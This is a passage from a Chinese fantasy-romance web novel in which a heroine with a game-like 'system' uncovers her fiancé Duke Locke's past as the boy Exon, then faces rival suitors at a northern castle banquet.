“不过,我还真是好奇。这么可爱的小朋友,长大后是怎么变成那种糟糕又冷漠的男人的。”艾米自言自语,在空旷安静的环境里,声音在墙壁上发出低沉的回音,“而且,他又是怎么取代——” ‘有人来了。’系统忽然出言提醒。 艾米立刻闭上嘴巴,挪动到墙角坐下。 外面传来地牢守卫的脚步声、奔跑时甲片碰撞的清脆声响,以及模模糊糊听不清的碎语交织在一起。忽然,混乱之中,有人重重倒下,发出咚的一声。 发生什么事了? 她的心悬了起来,下意识在角落蜷缩得更紧。 嘈杂逐渐平复,一切归于平静,几分钟后,一阵清晰的脚步声由远及近地从黑暗中朝她靠近。 艾米听到了熟悉的呼吸声,这是埃克森疾奔或者用力后喘气的声音。 “是你吗?” 黑暗中的人影微微一滞,重新朝着艾米发出声音的地方调准了方向。 “是我。你还好吗?”他声音还有带着微微的颤抖。 艾米喊他过来:“我在这儿,能找到吗?” “我很好,倒是你,怎么进来的?” 一双冰凉的手隔着牢笼探了进来,艾米用力握住,包在手心中。 “外面怎么了?出什么事了吗?”地牢昏暗,她只能隐约看清埃克森的轮廓。 对方停顿片刻:“我来救你出去。”他避而不谈,微微用力想要挣脱。 “好吧。”艾米肩头受力猛地一疼,她刚准备松开,却忽然愣住。 “你你怎么会有两只手?” 冰凉的手在黑暗中颤抖,想要挣脱的动作更加剧烈了。 艾米强忍着剧痛,紧紧拽进他不放:“别——埃克森,别动,我的肩膀很痛。” 她真是问了个蠢问题。什么叫你怎么会有两只手。 人当然都有两只手,她的未婚夫洛克公爵也是两只手,健康有力的两只手,皮肉完整,没有伤痕,不是什么炼金材料,也不是什么用魔法驱动的金属制品。 这么一个瞬间,艾米忽然想通了很多事。 她完全没必要担心任务,正如系统所说的,出现在这里,是为了让她‘全面地了解攻略对象’。过去既然被称之为‘过去’,自然是已经发生了的事,她无论做什么都已经发生了的事。 埃克森会变成派恩公爵的小儿子,取代原本的洛克,他会重新长出两只完整的手臂,以及—— 他的眼睛,会变成哈卡兹家标志性的湛蓝色。 “求你了能不能松开我的手。”明明他是那个站在牢笼外的人,此刻却像是被逼到陷阱里的猎物,不知所措。 “让我打开门,带你出去。” 艾米拉着他的手隔着栏杆坐下。 “不着急,靠过来一点好吗?” 她注定会回到未来,回到属于她的时代,而她现在唯一好奇的,就是埃克森到底许了一个什么样的心愿。 艾米有预感,当她认真地问出这个问题之后,所有的一切就会结束。 埃克森乖巧地靠着栏杆坐下。 “这样有知觉吗?”艾米捏了捏他那只本不该存在的手。 埃克森点头,轻轻五指抓握,包住她的手指:“就和我原本的手一样好用。” 艾米的脸凑得更近了,而埃克森的视线却没有任何变化。 “但是你现在看不到我了,这就是你付出的代价吗?”她轻声问。 埃克森沉默。 “你还交换了什么?”艾米又问,“外面那些人是你干掉的吧?这份力量应当不是免费的馈赠。” 埃克森有些茫然,他是稀里糊涂签下的条款:“不是交换,是契约。” “黑婆婆说,我想救你的欲望越强,力量就会越大。” “眼睛是请求她帮忙的报酬。”他小声地补充道:“我把金币都给她了,但她说她只要我的眼睛。” “欲望。”艾米轻轻念出这个词语,埃克森不明白她为何如此在意。 “原来是欲望侵染了你。”她喃喃道,“契约还有别的要求吗?” 埃克森的声音听起来有点不好意思,像是不明缘由但是仍然担心被责罚的孩子:“我,我剩下的都不记得了对,对不起,我一无所有,因此所有能用来交换力量的东西,我都愿意试一试。” “我又没有怪你。”艾米抚上了他的脸,顺着摸到了他的眼角,指腹轻轻覆在眼皮上,里面是像玻璃球一样的坚硬球体:“这里现在是什么?” “是炼金材料。”埃克森说,“能让我看清人影,已经够用了。” 艾米收回手指,轻轻嗯了一声,转而谈起别的。 “还记得我之前说过的吗,我是为你而出现的,我的使命就是完成你的心愿。” “那么现在,你想好了吗?你的心愿是什么?” 埃克森犹豫着张口:“我没想好。” 艾米的语气温柔,像是一种哄骗:“这对我来说很重要,你必须要告诉我。” “好吧你现在就要听吗?”埃克森疑惑。 “是,我现在就要听。” “你为我做了这么多,我想把心愿留给你自己用。”他的声音听起来有点羞赧,“你第一次出现的时候,我还以为是光明神派人来接我了。” “不过我很快就意识到不可能。不,我不是说你,我的意思是,我不配神的垂眸。” 艾米静静地听着,埃克森一边忍不住诉说依恋,一边语无伦次地掩盖和找补,他说话时像台球在桌子上乱撞,迟迟不肯入袋。 “总之。”绕了一大圈后,他终于下定决心,一鼓作气地说:“我的意思是,不管你为什么出现,我都希望你能得偿所愿。” 这句话如同一根尖锐的针,啪地刺破了某种禁锢,熟悉的紧迫感捏紧了她的心。 艾米抓紧最后的时间快速反问。 “就只有这个?” “对。”埃克森说,“就只有这个。” 第93章 第93章你不知道吗? 璀璨的水晶灯洒出柔和的光,映照着大厅中央长桌上的美食,烤乳猪、整扇的肋排,以及各种精心烹饪却只为了装饰用的漂亮食物。黑石堡的新主人迪特克公爵坐在主位,而他的妹妹则在他的对面,长桌的另外一头。 这是场较为私人的晚宴,只邀请了重要了客人,这其中包括洛克公爵,也包括迪特克公爵的好友,布利斯少爷。 这两位客人都算得上是意外惊喜,无论对贝丝还是赫曼来说,都是如此。 赫曼没想到洛克公爵愿意来参加他的订婚宴,这让他非常有面子,最重要的是,能够在未来妻子家面前展现自己的人脉和地位,方便自己之后和他们谈交易——作为纯正的哈卡兹家的血脉,对于他们家的人来说,自己所拥有的一切都可以待价而沽,尤其是婚姻。无论是生几个孩子、孩子的名字、甚至是婚礼的宾客席位或顺序,全都能用金币标上价格,用来博弈和谈判。 北境人喜欢谈论‘尊重’,而在南境,他们只在乎‘金币’。 而贝丝在央求哥哥邀请布利斯少爷来参加自己订婚宴前,并没有抱有太大希望。众所周知,他很少参加此类场合,常年待在自己乡下的庄园里,或者魔兽山脉的深处。布利斯回复请柬之后,贝丝激动得一整晚都没睡着,第二天一大早,就拉着自己的裁缝,加班加点地赶制新的礼服。迪特克有意纵容妹妹这种不甚礼貌的行为,尽管赫曼之前帮了他许多,又将名下矿业赠送给他,但在这场婚姻中,他仍然是高攀的哪一方,因此这位年轻的大公想借此敲打赫曼——这倒不是他有多么疼爱这个唯一的妹妹,而是他希望确保别斯霍拉家血脉的继承权,而赫曼之前又有不值得信任的前科。 他承认的私生子就有三个,更别提没承认的。 婚姻就是交易。 最起码这场婚姻的主角都赞同这个观点。 在开场酒之后,迪特克首先谈起这个话,他注意到洛克公爵戴上了婚戒,但由于他的手指上戴满了宝石戒指,因此不确定这只是公爵大人的个人审美趣味,还是确有其事。 他端起酒杯,笑着朝对面的妹妹打趣道:“瞧,新婚的夫妻总是有说不完的话。”紧接着,迪特克转向身边的洛克:“洛克公爵,您恐怕不能理解,我此刻作为哥哥的感受吧?” 洛克拿起方巾轻轻擦拭嘴角,不经意地露出手背:“但多少猜得到。不过,恐怕我此刻更能和您妹妹感同身受。” 迪特克露出适时的诧异,洛克则顺势展示自己的戒指。 布利斯目光落在上面,露出微不可见的嗤笑。 “抱歉。”迪特克礼貌询问:“我还不知道这位幸运的姑娘是哪家的女孩。” 长桌上,众人都停下了交谈,赫曼更是惊讶无比。 这可是个重磅信息,不知有多少人盯着这位王国最有钱的单身汉,拼了命地想将自己的女儿、姊妹介绍给他,恐怕就连国王都有过这个念头。 “她也是个可爱的北境姑娘。” 洛克轻笑,念出她的全名。 除了少数几个人外,这桌上的大部分人甚至根本没听说过她。 这次轮到迪特克震惊了。他当然还记得那个叫艾米的女孩,漂亮的乡下姑娘,去年冬天曾来拜访过,当时她确实说自己有未婚夫,是哈卡兹家的成员,可她从未说过,竟然就是洛克公爵本人! 洛克好整以暇地扫过众人的目光,唯独看到布利斯时停留了片刻。 “怎么?”他继续和迪特克交谈:“您应该见过她吧?她继承了父亲的领地,作为领主,应当是会定期来黑石堡拜访您的。” 迪特克有些结巴地回应:“当,当然,我见过她,确实是可爱的姑娘。” 他一时间甚至想不到什么礼貌地用词来赞美她除了长相之外的话,洛克的选择在他看来简直是匪夷所思。 “既然谈到这里,我也有事情想要拜托您。” 洛克放下手中的刀叉,露出了几分认真:“按理来说,她嫁给我后,您就要为那块土地指派新的主人了。但我的未婚妻实在喜欢托利亚清新的空气和漂亮的景色,不知您是否能继续为她保留呢?” “当然,我会为此支付报酬。”他似笑非笑地扫过赫曼的脸:“和赫曼伯爵一样,我也会让出名下一处曜石矿每年五分之一的产量。” “二十年。” 他甚至比赫曼提出的多了十年。 长桌一片寂静。 连迪特克都震惊得不知道说什么好。 那块贫瘠的土地一百年的税金都不够曜石矿一年的收益。而且,贝丝是别斯霍拉家族家主的亲妹妹,迪特克唯一承认的妹妹,赫曼想要娶她,自然要付出相应的代价,而洛克又为了什么? 仅仅是想要炫耀他的财富吗? 迪特克觉得有些荒谬。 赫曼的神色有些古怪,他喝了口酒,掩盖自己的异样。 “你觉得呢?”洛克大有在餐桌上就定下这件事的意思,他漫不经心地将目光落在布利斯的身上:“恰好,布利斯少爷今晚也在此,我们可以签订契约,邀请年轻的大魔导师来做见证。” “布利斯少爷。”他的嘴角勾起游刃有余的弧度:“您愿意吗?” 就在这时,贝丝突然冷不丁地说:“我想起她是谁了。” 所有人都看向她,迪特克隐隐觉得不安,但还没来得及阻拦,就听到妹妹已经讲出了后面的话。 “她是布利斯少爷在王城社交舞会的舞伴。”贝丝一字一顿地强调,“唯一的舞伴。” 布利斯皱眉,他知道贝丝这话是什么意思,尽管这让他在洛克面前扳回一局,但当下并不是个好时机。既然艾米没有要和洛克解除婚约的意思,他并不想因为这个影响到她,为她平添麻烦。 洛克却笑了出声。 “原来是您吗?”公爵大人轻挑眉,像是今天才知道这个消息,“我一直为自己缺席了艾米的社交舞会而感到遗憾,也很担心她太拘谨在宴会上玩得不开心。” “既然有布利斯少爷的关照,那我就放心了。” 因为贝丝那句话而紧绷的氛围似乎顷刻就松了下来,迪特克顺势就刚才的话题聊下去。 “艾米小姐的领地当然可以为她保留,您谈不上请求。她还是个小姑娘的时候我就见过她,那时候她只有十来岁。您也看到了,她和我的妹妹贝丝差不多大,我一直都把她当成自己的妹妹看待。晚餐后我就让管家处理这件事,您只管尽情享受假期就好。” 洛克端起酒杯点头致谢:“多谢,我希望这能作为礼物在返程时带给她。迪特克公爵,您恐怕无法明白,有了未婚妻后,我总是忍不住想把世界上所有漂亮的礼物送给她,只为了能让她多对我笑一笑。” 他将自己描述得像深陷爱情里的傻小子,引得众人大笑。 看得出来,洛克公爵很乐于将自己的未婚妻挂在嘴上,因此很快有眼色的人就主动问起了她。 “真是可惜,为什么她不和您一起来呢?”有人问。 洛克彬彬有礼地回应道:“她最近染了风寒,身体抱恙,我觉得她还是多休息为好。” “是吗?”布利斯直直地看向他,湖绿色的眸子像冰冷的翡翠。 “我听说她路上耽搁了一些时间,但这两天就会到呢。” 你不知道吗? 洛克看到他的口型,心微微沉了下去。 他确实不知道。 第94章 第94章神不知鬼不觉地杀掉。…… 从昏暗的地牢回来后,艾米还无法适应突然明亮的环境。 窗明几净的卧室里,风吹过窗纱,柔柔地灌进室内,带来清爽的草木气息。肩头的位置似乎还在大脑皮层深处隐隐作痛,她抱着双膝,像十分钟前一样,靠着墙角蜷缩着身体,一言不发。 米迦尔跪在床边,他想抱一抱她,但挣扎之后,最终还是无措地放下了手臂。他沙哑的声音裹着失而复得的谨慎,轻声询问:“为什么流泪?” 艾米抬起头,恍惚间擦过脸颊,才发现手心湿漉漉的全是水。 “我在流泪?”她神情微怔,喃喃自语,“我一直在流泪?” “嗯。” 米迦尔没有问她消失的十几个小时去哪了,也没有问她为什么又出现在房间里,还没有产生任何魔法波动。他只是再次追问,你为什么流泪。 艾米摇摇头。 她不知道。 回溯之前,她只打算用消失刺激一下米迦尔,这是一种暧昧时情侣常用的把戏,若即若离往往能让对方更清楚认识到自己的心意。 从结果来看,这招卓有成效。神官大人的好感度涨了一大截,也许是在焦灼且没有结果的等待中,他学会了冷静、以及如何忍耐,最起码现在看来,他终于愿意好好和自己谈谈。 但艾米现在却没有想和他谈谈的心思。她没有从刚才的情绪中抽离出来,即使看到米迦尔苍白的唇,也无法产生动容。就像是心口被剜去了一大块,外皮愈合,内部却空落落地抽痛,暂时无法接纳别的情绪。 她避开了神官大人的视线,下巴抵在膝盖上,犹豫了片刻,轻声问道:“洛克他伤得很重吗?” “我就这么让你害怕吗?”米迦尔无奈地冲她温和地笑了笑,长睫轻眨,投下交错的阴翳,艾米分不清那一片是细碎的影还是他熬夜后的乌青,但她能看出来,这股浓重的阴翳令他看起来很憔悴。 “你还是想要嫁给他吗?”米迦尔问。 艾米摇头,他们之间有很多误会,因此自己应该说点什么解释清楚,尤其是现在,对方的好感度刚刚冲上了一大截,正是趁热打铁的时候。 但她实在没有更多能够应对误会和争吵的力气。 “把我的项链还给我。”她摊开手心放在米迦尔面前,自上而下地看着他:“你知道我说的是什么。” 那条布利斯送的素链重新回到她的胸口。 米迦尔似乎有预感接下来会听到什么,于是冷不丁地抢先说道:“我想要和你聊聊。” 这是艾米在使用回溯之前承诺的,她说‘如果你想找我聊聊,我会等着你’。 “我听说和神有关的仪式,都需要提前核算好日子和仪式开始的时间,比如神降仪式。”艾米垂眸,视线落在 他苍白的唇上:“所以你应该知道,如果错过了选定的日期,就只能等下一个合适的时间了。” 米迦尔轻轻叹息,声音轻得像飘散落在墓碑上的花瓣:“我错过了良机,是吗?” “是。” “我明白了。” “你想知道洛克的伤势?” “是。” “他伤得很重。有一只胳膊在格挡时被我切下来了,胸口被我捅开了,但是偏了一点,我没找到他的心脏。”神官大人弯了弯唇角,露出温和的歉意,“抱歉,这是我的习惯,考虑到不同异种的结构不同,挖出心脏是确保他们死透最方便的手段。” “但你不用担心,他应当活着,并且活得好好的。” 切掉了一只胳膊。 捅开了胸口。 艾米光想象着那个画面,就忍不住开始一阵抽痛。 “黑魔法,或者说禁忌魔法,在他身上留下了许多痕迹,我想,洛克公爵应该和不止一位邪恶的存在签订过契约。不过,像他这种精明的商人,恐怕连恶魔无法占得了他的便宜。”米迦尔用掌心温和地拭去她脸颊上的泪水,“放心吧,那些邪恶的存在会修复好他的。” 手指顺着脸颊往下,忽然,米迦尔略微用力掰正艾米下巴,迫使她看着自己:“就算你现在想去永夜城找他,也别当着我的面走神。”他另一只手牵着她的腕,放在自己的腹部,紧紧贴着未愈合的伤口用力按下。 “先心疼心疼我,好不好?”- 夏天是永夜城一年中最快活的两个月,气候干爽舒适,温暖又不过于炽热,也是黑石堡最热闹的季节。 这天午后,艾米终于赶到了目的地,她没有收到贝丝小姐订婚宴的邀请函,因此贸然上门是不礼貌的,但她想尽快见到埃克森的心情却十分急切。 刚下马车,她还正犹豫着要以什么身份去黑石堡拜访,就看到那位常跟在洛克身边的叫伍德的男仆。 伍德看样子已经守在这里良久,好容易见到她,立刻喜上眉梢,大声喊道:“小姐!” 他招招手,不知从哪出来的仆从就像训练有素的抢劫犯,一个接着一个立刻将马车上她的行李全部拿了个干净。 “艾米小姐,请随我来。您的房间就在我家公爵大人的隔壁,全都提前收拾好了,还按照您在领地的习惯,配置了您常用的被褥和香氛。”伍德干劲十足,就像上了发条的马达一刻不停地说着,不一会就半推半迫地将还没捋清楚现状的艾米请进了黑石堡用来为宾客提供的副塔楼里。 “按照礼仪我应该先去拜访迪特克公爵吧?”艾米被搅和得有些摸不清头脑,进了房间才后知后觉地反应过来。 伍德立马摇头:“您舟车劳顿,好好休息最重要。公爵大人在和迪克特公爵谈事情,暂时不在房间。不过我想,如果他知道您到了的消息,一定会非常开心。” 哪种开心?是少爷从来没露出这种笑容的开心吗? 艾米招架不住对方的热情,不自在地皱了皱鼻子。 但伍德还没有走的意思,他一边吩咐女仆为艾米收拾行李,一边挤眉弄眼道:“公爵大人还为您准备了惊喜,是一份他花了很多金币的礼物。” 艾米见自己的暗示没有效果,只好明示对方:“我想要休息了。” “哦哦哦!”伍德连忙准备退出房间,刚到门口,又停下脚步:“您需要来点甜品吗?或者一壶茶水?” “谢谢,暂时不用。”艾米微笑,目送他连带着女仆离开,并数次强调,自己不习惯有人侍奉所以不需要任何人留下。 她松了口气,刚回到沙发坐下,敲门声再度响起。 “我都说了,不需要下午茶,也不需要甜品,更不需要帮我按摩和换礼服的女仆。” 敲门声短暂停顿片刻,又咚咚咚地响起。 艾米没好气地起身来到门口,扭开反锁的把手,发火的话还没来得及说出口,就先咽进了肚子里。 “布利斯?”她惊讶,“你怎么在这里?” 大魔导师穿着墨绿色的衬衫和黑色的马甲,一丝不苟的打扮,像是刚从某个较为正式的场合过来。 “很奇怪吗?”他反问,“我为什么不能在这里?” 也是。 艾米想起,自己第一次见他,就是在黑石堡,他似乎和迪特克的交情不错。 “不请我进去坐坐?”布利斯又问。 艾米回头看了看屋内的设陈,这里毕竟不是她在领主府的卧室,况且,自己的未婚夫就住在旁边的房间,万一被他撞见了 布利斯的目光在她的脸上探寻。 “我在门口停留的时间越久,注意到我们的人也会越多。”他一针见血地说。 于是艾米很听劝地将他拽了进来。 “小声点。”她紧张地左右张望,“洛克就住在我隔壁的房间,他的男仆两分钟前刚刚从这里离开。” 布利斯神情自若:“我知道。” “那你还过来?”艾米瞪圆了眼睛。 “我只是在履行我作为情夫的职责。”布利斯面不改色地继续说道,“在未婚夫的隔壁偷情,你不觉得很刺激吗?” 艾米吓得差点蹦起来:“你在说什么胡话!” 布利斯低笑,他每次发出这种悦耳的声音都像是一种混合着挑衅的调情:“胡话?你不想试一试?” “不想!”艾米斩钉截铁地拒绝。 “不用这么紧张。”布利斯靠近了些,款步将艾米圈在墙壁和自己的怀中,“我会把痕迹处理干净的。” 他俯身靠近她的耳侧,似笑非笑地说着真心话。 “你怕什么,小姐。如果他发现了,我也可以把他——” 温热的吐息吹过艾米的耳朵,布利斯娴熟地找到了她的敏感点,轻轻逗弄就让她腿软地抓着自己胸口的衣服。 “神不知鬼不觉地杀掉。” 第95章 第95章她终于忍不住一巴掌扇在…… 艾米脸涨得通红,双手用力推开男人的胸膛。 “别在这里发情。” 布利斯摊开手向后退了两步,眉头轻蹙一副不理解的样子:“但是,也没必要生气吧?” “我只是为你提供一种问题的解决方法而已,既然你并不想,那就算了。”他轻飘飘地说道:“毕竟,还没到我们不得不做出应对的、最坏的情况。” 他目光扫过艾米的胸口,落在自己送给她的那条项链上,语气意有所指。 “你再继续待在这里,被发现就是迟早的事了。”艾米没好气地说。 她拉着大魔导师的胳膊就往门口拽,“我可不想等下把你塞进衣柜里。” “如果你也进来的话,我倒是不介意。” “拜托,大少爷,你先醒醒,现在天还没黑呢!” “那天黑了后就可以吗?”布利斯立刻捉住她话里的漏洞,想立刻就将今晚的约定敲死,“今晚可以吗?你会给我留门吗?” “不可以。我暂时还没有这项安排。” 布利斯有些失望。 他的视线再次落在艾米胸口的项链上,后悔将这个礼物送给她。 如果没有这件道具的话,他不用等到晚上,现在就可以开始品尝美味的下午茶了。 艾米一路连推带拉将他推搡到了门口,推开门,准备将大魔导师丢出去。 布利斯抵住门框,压低声音不忘最后一次尝试:“如果你是担心继承不了遗产的话,我也有一些能让他看起来像患了慢性病的办法。” “你可以在婚前就用上,这样你很快就能成为一个有钱的寡妇。” “多谢,但我再说一遍,我暂时还不需要。” 艾米的手还在搭在门把上,随时准备关门。 直到楼梯处传来脚步声,布利斯才终于松开了手臂,他恢复了往日常见的一丝不苟的站姿,轻点下巴道别。 “晚上见。” “都说了——” “我的意思是晚饭时见。”布利斯打断她的话,嘴角噙笑,“你以为是什么?” 幼稚! 艾米用力瞪了对方一 眼,当着他的面用力把门狠狠拍上,发出砰得一声响。 布利斯并不恼,他站在原地停顿片刻,直到门后的脚步声消失。 “我记得,阁下的卧室似乎并不在这一层。” 洛克出现在走廊上,语气并不算友善。 布利斯没有丝毫想要解释的意思,他只是礼节性地打了声招呼,就将问题抛了回去。 “我也记得,您现在应当在主塔的暖房里喝茶,毕竟半小时前,迪特克公爵的堂妹正邀请您去欣赏她亲自种的月苋兰。” “布利斯少爷,我想我们都清楚,我不过是那位小姐退而求其次的第二选择罢了。”洛克款款走上前,漫不经心地说,“再说了,我已经订婚了。” “对于迪特克来说,您才是第一选择。”布利斯毫不客气地反击,“他毫不掩饰想将自己的其他妹妹继续往哈卡兹家男人的床上送的意图。” 洛克的脸上变得不耐烦,他的拇指轻轻摩挲食指根的戒指,湛蓝的眸子一动不动地盯着还站在门口的布利斯。 “这种话说出来,会产生不必要的误会。我只想提醒您,大魔导师,单独拜访别人的未婚妻可并不是什么有礼貌的行为。” 布利斯忽然笑了笑,“您说的没错,这种事情确实不太妥当。” “叽里咕噜说什么呢你怎么还没走——” 门砰得一声又大力推开,艾米探出上身催布利斯别站在门口,话还没说一半,就顺着男人的视线看到了同样站在走廊上的,自己的未婚夫。 “洛克公爵认为我不应该来单独拜访你,即使我们原本就是朋友也不太合适。”布利斯转向艾米,语气轻松地说,“看来公爵大人对婚姻持比较老派的态度。” 艾米眨了眨眼,一时没明白“老派”的意义。 洛克皱眉,刚想开口,又被布利斯打断:“老派的观点,无非就是认为女人在订婚之后,要从社交场合退出来,避免和男人的接触。” “我对婚姻的态度,我想我的未婚妻比你更清楚。”洛克侧身,让出通道,“她舟车劳顿需要休息,而你该离开了。” 艾米悠闲抱臂站在门后看完了两人争执的全过程。 “很好。”她点头,“如果你们还想吵架的话,请换个地方。” 紧接着,砰地一声,她干净利索地把两个人都关在了门外——眼不见为净- 宴会上,姗姗来迟的艾米成为所有人关注的焦点,甚至取代了原本的主角贝丝和赫曼。 大家都对这位名不见经传的洛克公爵未婚妻感到好奇。 连贝丝的母亲,玛莎夫人都主动和她攀谈起来。 “艾米小姐,真高兴见到你,我还记得你小时候来过黑石堡的样子,像可爱的娃娃,乖巧不哭闹。”玛莎夫人比葬礼上红润了许多,整个人都显得更为生动了。 果然死老公是中年女人第二春的开始。 “抱歉,请原谅我的好奇心。”她看了看洛克,又看了看艾米,斟酌着问道,“你们准备将婚礼定在什么时候呢?” 洛克刚想张口,就被艾米抢了先。 “秋天,玛莎夫人。” 她俏皮地朝夫人弯了弯眼角,而后又羞涩地抬头悄悄瞥了一眼自己的未婚夫,熟练丝滑的模样就像已经回答了不知道多少次。 洛克的手指轻轻在她的腰际画着圈,无声地表达着‘我怎么不知道’的意思。 艾米没有理会,继续用精湛的演技在玛莎夫人面前扮演着为自己婚事而兴奋的少女。 “夫人,我们将会在米迦尔神官的祝福下完婚。”她声音高了半个度,引来了附近早就在关注自己的其他宾客的注意。 玛莎夫人露出恰到好处的微笑:“那很好,你们准备在王城举办婚宴?” 艾米摇摇头:“不,您为什么这么说?” 玛莎糊涂了:“米迦尔神官不是一直在中央圣殿履职么?” 艾米夸张地瞪圆了眼睛:“天呐,夫人,您还不知道呢?” 她很快恢复了笑靥:“米迦尔神官现在就在我领地的教堂呢,除了圣契礼拜外,每周他还会抽出两天教平民的孩子识字。托利亚小镇的大家都很喜欢他,常常找他主持婚礼,或为新生儿赐福。” 立刻有其他宾客惊讶地加入了对话。 “米迦尔神官?你说的是中央圣殿的米迦尔神官吗?” “还有别的米迦尔神官吗?”艾米笑盈盈地继续说:“神官大人很喜欢托利亚安静祥和的氛围,所以主动从中央圣殿调了过来。” 不知是谁插了句嘴:“托利亚?那座砂砾之城?” 很快,其他人就担心起圣殿的瑰宝的吃饭问题。 艾米站在一旁安静地听着,低声诵念着祷文:“感谢光明神——我想,这就是神将米迦尔神官赐予我们的缘由。” 见众人不解,她解释道:“自从米迦尔神官来了以后,托利亚的土地种出来的粮食全部都变得可口,甚至不夸张地说,比水土肥美的河谷地产出的食物还要好吃。” 她推了推身边的洛克,语气是娇嗔般的亲昵:“公爵大人,你说是不是?连你也吃了一惊吧?” 洛克看着她,露出玩味的笑。 他顺着她话说下去。 “确实如此。”他点头,“比我在其他很多城市尝到的食物都更可口。” 周围人都在啧啧称奇。 “托神官大人的福,今年托利亚的丰收节应该会很盛大呢。” 有半途加入的人忽然问起米迦尔的每日工作内容。 于是艾米又耐着性子讲了一遍,什么圣契礼拜、主持婚礼、给孩子洗礼之类的。 “你的意思是,他每天都在教堂里,只要过去,就能见到他?” 艾米装作听不懂这话,疑惑地点了点头:“是呀。” 围在她身边的宾客发出窃窃低语,氛围变得愈加热烈。 神官大人温和慈爱的形象非常受太太们欢迎,在贵族女性中有着极高的人气。只可惜在王城的时候,他每周只有一天会出现,还并不是所有参加礼拜的信徒都能亲自见到他。 他更愿意把时间留给平民,接待贵族的次数少得可怜,因此这些太太们要想尽办法或运气好才有机会见他一面,而这种稀缺性又进一步抬高了他的人气。 很明显,自己的未婚妻正在众人面前“售卖”米迦尔神官——那个疯子愿意为了她杀人,而她竟然在利用他的人气诱捕这群太太们。 公爵大人的目光沉沉地落在她明媚的脸颊上,唇角的笑意愈发地深。 如果说之前的艾米像是一块裂开的原石,堪堪露出里面翡翠的莹润;那么现在的她已然是最耀眼的宝石,不需要任何人的揣测与估价,直白地展露自己的价值和魅力。 他就应该早点将她的伪装撕下来- 宴会散场,洛克将艾米送至了房间外。 “今晚很开心?”他问。 自从不在洛克面前表演后,艾米说话也不客气了起来。 “还不错。” 她抬头,栗色的眼眸清明地对上洛克的目光。 “要进来坐坐吗?未婚夫先生。” 洛克欠身:“乐意之至。” 他走进屋,将外衣脱掉挂在一旁,随手解开了衬衫最上面的扣子,自在地坐在了沙发上艾米的身侧,硬邦邦的大腿抵住桌几,堵住了她起身唯一可走的路。 “我怎么不知道自己要在秋天结婚了?”洛克轻笑问道。 “这不是你希望的吗?”他们坐得很近,这让艾米能更仔细地看清楚公爵大人的脸。 不知为何,当周围安静下来,两个人独处的时候,她总忍不住从面前这张脸上寻找自己熟悉的、埃克森的痕迹。 陌生的眼睛,和小少年完全不同的成熟男人的颌面,以及挺拔的鼻梁和深邃的眼眶,这些看上去都十分陌生。 只有当他放松下来时,艾米能从嘴巴的细微处寻觅些许端倪。 “是,我希望婚礼越快越好。”洛克看着望着自己出神的艾米,有种说不上来的安心,想这么一直和她静静地待在一起。 他的视线顺着她的眼睛,鼻子,一路描摹向下,落在她的唇上,心口涨涨的,发热,微烫。 接着,他鬼使神差地伸出手,指腹温柔地贴在她唇瓣的柔软之上。 艾米皱了皱眉,想躲,却不知为何又忍住了。 “其他人也吻过这里吗?”洛克轻声问。 艾米觉得好笑。 他不是早就知道了么? “你说的其他人是谁?”她不甘示弱地问。 “米迦尔,布利斯,还有你的那个不知道去哪了的侍卫。”洛克轻笑,“你真该看看他们看我的眼神,恐怕每个人都想趁我转身时把刀捅进我的心口。” “当然,有的人真的这么干了。小姐,他找你讨赏了么?” 艾米想到米迦尔说洛克被自己砍掉了一支手臂,还在胸口捅开了一个大洞,忽然觉得有些不自在。 “哪只手臂?”她问。 没头没尾,但是洛克听明白了她的话。 “右手。”他主动递了过去。 艾米隔着衬衫抚着这只小臂,结实有力,温热的血管在掌心跳动。她解开袖口,上面没有任何伤口,也没有任何异样的痕迹,就像任何一只健康的成年男性手臂一样。 他这些年都经历了什么呢?从最开始疼得抽痛,会絮絮叨叨说很多话 转移注意力的小孩,变成现在这样对使用黑魔法没有任何介怀,自然地就像吃饭喝水一样的冷漠。 趁她发呆,洛克的手指忍不住伸进了她的唇,却在想更进一步时十分遗憾地被下意识防备的牙齿挡住了。 艾米立刻狠狠咬了侵入物一口,男人却连丝毫的回缩动作都没有,就这么泰然自若地任凭她牙齿嵌进肉里,用尖利的端碾着他皮肤。 “想现在就试试我能不能再长出一根新的手指吗?”他甚至还有心情开玩笑。 艾米看着洛克似笑非笑的神色,不知为何,一股无名火就窜了上来。 那个可爱的、乖巧的埃克森,怎么就变成了现在这幅讨人厌的模样? 可恶可恶可恶。 洛克一只手的手指放在她的口中任她咬着,另一只手把玩着她耳垂上自己送她的耳饰,像是在打量博古架上某件格外喜爱的宝石。 带着欲念,又带着逗弄。 艾米感觉自己在这种注视中开始慢慢地发热,和愤怒混在一起,她有些分不清自己的心跳是因为什么在加快。 这可不是一个好兆头,最起码现在不是时候。 说不上来的慌乱让她松开了牙齿,洛克仍然捏着她的下巴,仍然用那种黏糊糊的、令她脊背犹如电流般轻颤的目光看着她。 “别用这种眼神看我!” 夹杂着恼人的怒火,她终于忍不住一巴掌扇在洛克的脸上。 伴随着清脆的声响,两个人都愣住了。 第96章 第96章疼得要命 洛克愣住当然是因为是没人敢这么扇他巴掌。 而艾米愣住则是因为——公爵大人的好感度涨了。 见鬼。 她还没收回的手犹豫着要不要再扇一巴掌确认一下。 但这幅CPU过载的模样落在男人眼中则完全变了意味。 他紧绷的眉眼舒展开,显然是被对方的反应取悦到了,轻笑着问:“害怕了?” 艾米的心情很复杂,这种话从对方口中说出让她感觉很古怪。不应该是这样的,他的气定神闲是什么时候磨砺出来的?洛克每露出一分上位者的气质,她就觉得埃克森离自己更远了一点。 “不解释一下?”洛克抓住她想缩回去的手腕,又问。 艾米平静地回答:“没什么好解释的。看到你的脸就烦,所以就打了。” 洛克噙着笑,轻轻捏着手中柔软细腻的皮肉:“你这样有意思多了,龇牙咧嘴的,很漂亮。” 还是那副戏弄小动物的语气,也还是那副欣赏宝石的目光。 艾米注视着他的眼睛,确认自己继续扇下去也只会被对方当成调情,心忽然就冷了下来。 “多谢夸奖。”她既不羞恼,也不愤怒,就只是淡淡的平静,“还不松开吗?” 平静得像根刺扎进洛克的眼底。 他捏着自己未婚妻的腕举起来看了看,没有用力,沉默就是他的回复。 艾米感觉到男人硬邦邦的大腿贴了过来,侵入她领地的意味很强,还带着不加掩饰的进攻性。 “我答应和你结婚,不附带其他的条款。”她掀了掀眼皮,板着脸,连一丁点伪装都懒得掺杂,“公爵大人是聪明人,应当最明白交易的含义。” 洛克虽然盯着她,但手已经松开:“我并非没有别的选择。” “但我是最好的那个选择。”艾米立刻接上。 她直接上手推开洛克硬梆梆地抵住茶桌的大腿,“没必要因小失大,不是吗?” 